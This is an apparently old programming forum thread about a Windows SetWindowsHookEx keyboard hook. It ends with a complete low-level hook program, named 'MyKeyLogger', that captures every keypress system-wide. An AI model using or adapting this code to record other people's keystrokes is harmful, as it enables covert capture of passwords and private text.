Thread: Hook and Keystroke Question

Code:

#define DLL_EXPORT
#define L 10

#include "dll.h"

TCHAR str[L] = "";
int l = 0;

extern "C"
{ 
    DECLDIR LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
        if(nCode == HC_ACTION && !(lParam & 2147483648)){
            TCHAR t[1] = {(TCHAR)wParam};
            if(l<L){
                str[l] = (TCHAR)wParam;
                l++;
            } else{
                l = 0;
                MessageBox(NULL, str, TEXT("Notice"), MB_OK);
            }
        }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
}

I am using this for SetWindowsHookEx, and I have a couple questions:
1. MSDN says that KF_UP "manipulates the transition state flag." How can I use this to determine the transition state (instead of using lParam & 2147483648)?
2. When I type some stuff in and the message box is shown, everything is in caps. Why is this, and how do I allow lower case characters, too?
3. Also when the message box is shown, every few characters there is a character I didn't type (like Ü or ` or å). Why is this, and how do I prevent it from happening?

Thanks.

#include "dll.h"

TCHAR str[L] = "";
int l = 0;

Danger Will Robinson, Danger!!

You have two distinct variables that differ only in capitalization.

Here you go:

Code:

#define DLL_EXPORT
#define MAX_LENGTH 10

#include "dll.h"

TCHAR str[MAX_LENGTH] = "";
int current_length = 0;

extern "C"
{ 
    DECLDIR LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
        if(nCode == HC_ACTION && !(lParam & 2147483648)){
            TCHAR t[1] = {(TCHAR)wParam};
            if(current_length<MAX_LENGTH){
                str[current_length] = (TCHAR)wParam;
                current_length++;
            } else{
                current_length = 0;
                MessageBox(NULL, str, TEXT("Notice"), MB_OK);
            }
        }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
}

And here is the .h file as well:

Code:

#ifndef _DLL_H_
#define _DLL_H_
#include <windows.h>

#if defined DLL_EXPORT
#define DECLDIR __declspec(dllexport)
#else
#define DECLDIR __declspec(dllimport)
#endif

extern "C"
{
   DECLDIR LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
}

#endif

Here is where I got the 2147483648 from:
http://msdn2.microsoft.com/en-us/lib...troke_Messages
I'm new at this, but to me that looks like I should & with 2^31 (which is what I did).

Originally Posted by Doodle77

Code:

!(lParam & KF_UP)

That evaluates to true on key up and on key down, so each letter shows up twice.

Here is where I got the 2147483648 from:
http://msdn2.microsoft.com/en-us/lib...troke_Messages
I'm new at this, but to me that looks like I should & with 2^31 (which is what I did).

A more understandable approach.

Code:

BOOL IsBitSet(LPARAM lParam, int bit)
{
	return ( lParam & (1<<bit) ) ? true : false;
}

I'm not sure how you got your code to work. For instance, you're using wParam to capture your keyboard. But wParam is only a message identifier. lParam actually contains the message structure that you need to access. Also, the current_length variable wll always be ZERO unless you declare it as static. But anyway, here's a working example of what I believe you're trying to do. I haven't tested it thoroughly. That's up to you.

Code:

#define _WIN32_WINNT 0x0400
#pragma comment( lib, "user32.lib" )

#include <windows.h>
#include <stdio.h>

HHOOK hKeyboardHook;

__declspec(dllexport) LRESULT CALLBACK KeyboardEvent (int nCode, WPARAM wParam, LPARAM lParam)
{
	if  ((nCode == HC_ACTION) &&       
		((wParam == WM_SYSKEYDOWN) ||  
		(wParam == WM_KEYDOWN)))      
	{
		KBDLLHOOKSTRUCT hooked_key = 
			*((KBDLLHOOKSTRUCT*)lParam);
		DWORD dwMsg = 1;
		dwMsg += hooked_key.scanCode << 16;
		dwMsg += hooked_key.flags << 24;
		char lpszKeyName[1024] = {0};
		lpszKeyName[0] = '[';
		int i = GetKeyNameText(dwMsg,
			(lpszKeyName+1),0xFF) + 1;
		lpszKeyName[i] = ']';

		int key = hooked_key.vkCode;
		if (key >= 'A' && key <= 'Z')   
		{
			if  (GetAsyncKeyState(VK_SHIFT)>= 0)
				key +=32;
			printf("key = %c\n", key);
		}
		printf("lpszKeyName = %s\n",  lpszKeyName);
	}
	return CallNextHookEx(hKeyboardHook,
		nCode,wParam,lParam);
}

void MessageLoop()
{
	MSG message;
	while (GetMessage(&message,NULL,0,0)) {
		TranslateMessage( &message );
		DispatchMessage( &message );
	}
}

DWORD WINAPI MyKeyLogger(LPVOID lpParm)
{
	HINSTANCE hInstance = GetModuleHandle(NULL);
	if (!hInstance) hInstance = LoadLibrary((LPCSTR) lpParm); 
	if (!hInstance) return 1;

	hKeyboardHook = SetWindowsHookEx (  
		WH_KEYBOARD_LL,            
		(HOOKPROC) KeyboardEvent,  
		hInstance,                 
		NULL                       
		);
	MessageLoop();
	UnhookWindowsHookEx(hKeyboardHook);
	return 0;
}

int main(int argc, char** argv)
{
	HANDLE hThread;
	DWORD dwThread;

	hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
		MyKeyLogger, (LPVOID) argv[0], NULL, &dwThread);
	if (hThread)
		return WaitForSingleObject(hThread,INFINITE);
	else return 1;

}

That is so cool